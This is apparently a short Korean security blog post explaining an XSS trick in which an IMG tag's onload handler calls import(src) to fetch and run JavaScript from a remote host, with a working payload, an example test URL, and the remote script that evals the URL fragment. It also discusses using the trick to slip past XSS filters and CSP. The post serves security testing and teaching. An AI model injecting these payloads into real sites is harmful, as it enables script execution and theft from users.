Import remote JS in IMG tag. for bypass XSS

밤에 트윗을 보다가 간단한 XSS 트릭을 봤는데 특별히 뭔가가 있는건 아니지만 가끔씩 CSP 우회에도 사용될 수 있을 것 같아 글로 작성해둡니다.

Payloads

<Img Src=//remote-xss-link OnLoad=import(src)>

Example..

<Img Src=//X55.is OnLoad=import(src)>

https://brutelogic.com.br/xss.php?a=%3CImg+Src=//X55.is+OnLoad=import(src)%3E

혹시나 X55.is에 뭐 이상한게 있을까 싶어서 대충 봐봤습니다.

⚡ http X55.is
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 262
Content-Type: application/javascript
Date: Mon, 10 May 2021 16:18:35 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding

/* =================================== !/

X55 is Cross-Site Scripting!
Visit https://brutelogic.com.br for more.

/! =================================== */

var frag = document.location.hash;

if (frag) {

  try {

    eval(frag.slice(1));

  } catch(e) {

    alert("URL fragment (#) contains invalid JS code!\nUse X55.is/[cmd] if not possible to edit fragment.");
  }

} else {

  alert(1);

}

그냥 hash(#) 뒤에 문자가 있다면 해당 문자를 기준으로 코드 실행(eval) 아니면 alert(1)로 하도록 되어있네요. 별다른거 없습니다. 😁 물론 소유주가 언제든지 바꿀 수 있으니 개인적으로 따로 올려두시고 쓰는걸 추천드려요.

What is import?

import는 JS의 Statements로 외부의 다른 모듈에서 내보낸 바인딩, 즉 JS 코드를 로드하기 위한 메소드입니다.

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/import

Bypass XSS Protection

물론 IMG 태그에 onload까지 들어갔다면 이미 성공한게 맞습니다. 다만 간혹 주요 구문에 대한 방어 로직이 강하게 걸려있는 경우가 있는데, 이 때 각종 기법들을 이용해서 우회하곤 합니다. 만약 import가 허용되어 있다면 원격지에 공격코드를 두고 쉽게 우회할 수 있긴 하겠네요.

Bypass CSP?

이걸 딱 보자마자 든 생각은 CSP로 인해 resources 로딩이 어려운 경우에 사용할 수 있는 가능성이 보였습니다. 물론 CSP 정책에 따라 다르겠지만, 때때로 특정 도메인에서만의 스크립트만 허용하고 제한적으로 DOM 내부 스크립트 사용 가능한 경우가 있는데 이 때는 import를 통해 허용된 도메인에서 스크립트를 로드하여 실행이 가능하겠네여.

대표적으로.. 아래 주소들이 많이 쓰이니 참고해주세요.

References